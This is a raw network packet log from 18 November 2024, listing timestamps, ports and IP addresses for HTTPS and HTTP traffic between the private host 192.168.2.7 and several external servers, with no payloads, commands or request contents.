Nov 18, 2024 08:55:46.784419060 CET	443	49926	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.784461975 CET	49926	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.786310911 CET	443	49923	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.786314011 CET	443	49922	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.786381960 CET	443	49923	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.786381960 CET	443	49922	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.786396980 CET	49922	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.786441088 CET	443	49923	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.786467075 CET	49923	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.786469936 CET	49922	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.786467075 CET	49923	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.786514044 CET	49923	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.798636913 CET	443	49924	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.798710108 CET	49924	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.798738956 CET	443	49924	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.798804045 CET	49924	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.798811913 CET	443	49924	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.798847914 CET	443	49924	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.798971891 CET	49924	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.822309971 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.822341919 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.822439909 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.822457075 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.822480917 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.823232889 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.823252916 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.823339939 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.823339939 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.823348045 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.827613115 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.831089020 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.831120014 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.831342936 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.831342936 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.831351042 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.831644058 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.831661940 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.831716061 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.831722021 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.831783056 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.831805944 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.831830025 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.831913948 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.831939936 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.831944942 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.831944942 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.831954002 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.831974030 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.832026958 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.832046986 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.832098007 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.865936995 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:46.865987062 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:46.866112947 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:46.868928909 CET	49926	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.868957996 CET	443	49926	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.880780935 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.881778002 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:46.881791115 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:46.888066053 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.888082027 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.888096094 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.888108969 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.888119936 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.888130903 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.888227940 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.888227940 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.888245106 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.888304949 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.898408890 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.898422956 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.898435116 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.898451090 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.898463964 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.898479939 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.898487091 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.898519039 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.898523092 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.898586035 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.899199963 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.899257898 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.904869080 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.904891014 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.904902935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.904962063 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.904977083 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.904977083 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.904983997 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.905014038 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.905049086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.905061007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.905072927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.905076981 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.905085087 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.905102015 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.905126095 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.911468983 CET	443	49928	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:46.964200974 CET	49928	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:46.982664108 CET	49922	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.982676983 CET	443	49922	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.990861893 CET	49928	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:46.990868092 CET	443	49928	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:46.991379023 CET	443	49928	20.96.153.111	192.168.2.7
Nov 18, 2024 08:55:46.999773979 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.999788046 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.999809980 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.999897957 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.999897957 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.999902964 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.999949932 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:47.014097929 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:47.014136076 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:47.014190912 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:47.014240026 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:47.014314890 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:47.022444010 CET	443	49879	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:47.022499084 CET	443	49879	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:47.022501945 CET	443	49879	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:47.022598028 CET	49879	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:47.022625923 CET	443	49879	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:47.022674084 CET	49879	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:47.022739887 CET	443	49879	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:47.022777081 CET	49879	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:47.022790909 CET	443	49879	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:47.023947954 CET	49879	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:47.063899994 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.063924074 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.063935041 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.063945055 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.063999891 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064037085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064042091 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064052105 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064063072 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064069033 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064089060 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064105034 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064135075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064146042 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064157963 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064169884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064181089 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064201117 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064316988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064335108 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064346075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064349890 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064373970 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064378023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064400911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064414024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064424992 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064431906 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064436913 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064446926 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064448118 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064474106 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064491987 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064496040 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064513922 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064517975 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064523935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064534903 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064543009 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064547062 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064562082 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064567089 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064575911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064584017 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064589024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064599991 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064611912 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064616919 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064623117 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064634085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064639091 CET	49928	443	192.168.2.7	20.96.153.111
Nov 18, 2024 08:55:47.064651012 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064663887 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064671040 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064682007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064687014 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064702034 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064712048 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064713001 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064723015 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064733982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064739943 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064745903 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064755917 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064757109 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064768076 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064779043 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064785004 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064790964 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064805984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064820051 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064837933 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064867020 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064877987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064889908 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064897060 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064901114 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064912081 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064920902 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064924002 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.064949036 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.064961910 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065001011 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065022945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065032005 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065051079 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065058947 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065085888 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065087080 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065095901 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065105915 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065119028 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065120935 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065129995 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065129995 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065141916 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065149069 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065154076 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065165043 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065175056 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065176010 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065186977 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065195084 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065197945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065216064 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065228939 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065239906 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065252066 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065258026 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065259933 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065270901 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065283060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065285921 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065295935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065301895 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065308094 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065316916 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065337896 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065349102 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065363884 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065370083 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065397978 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065404892 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065416098 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065427065 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065437078 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065448999 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065449953 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065464973 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065479994 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065481901 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065491915 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065510988 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065515041 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065530062 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065531969 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065542936 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065542936 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065557957 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065572977 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065576077 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065598011 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065608978 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065614939 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065627098 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065634012 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065651894 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065663099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065669060 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065680981 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065691948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065692902 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065704107 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065710068 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065715075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065726042 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065736055 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065738916 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065747976 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065758944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065768003 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065769911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065781116 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065785885 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065800905 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065809965 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065819025 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065824986 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065838099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065840006 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065850019 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065855980 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065860987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065871954 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065874100 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065885067 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065887928 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065896034 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065905094 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065927029 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065929890 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065953016 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065959930 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065963030 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065984011 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.065998077 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.065998077 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066015959 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066044092 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066046000 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066055059 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066062927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066073895 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066086054 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066097021 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066107988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066112041 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066128969 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066134930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066144943 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066153049 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066160917 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066164017 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066174984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066183090 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066183090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066193104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066200018 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066206932 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066210032 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066225052 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066234112 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066251040 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.066251993 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.066262960 CET	80	49844	185.215.113.206	192.168.2.7
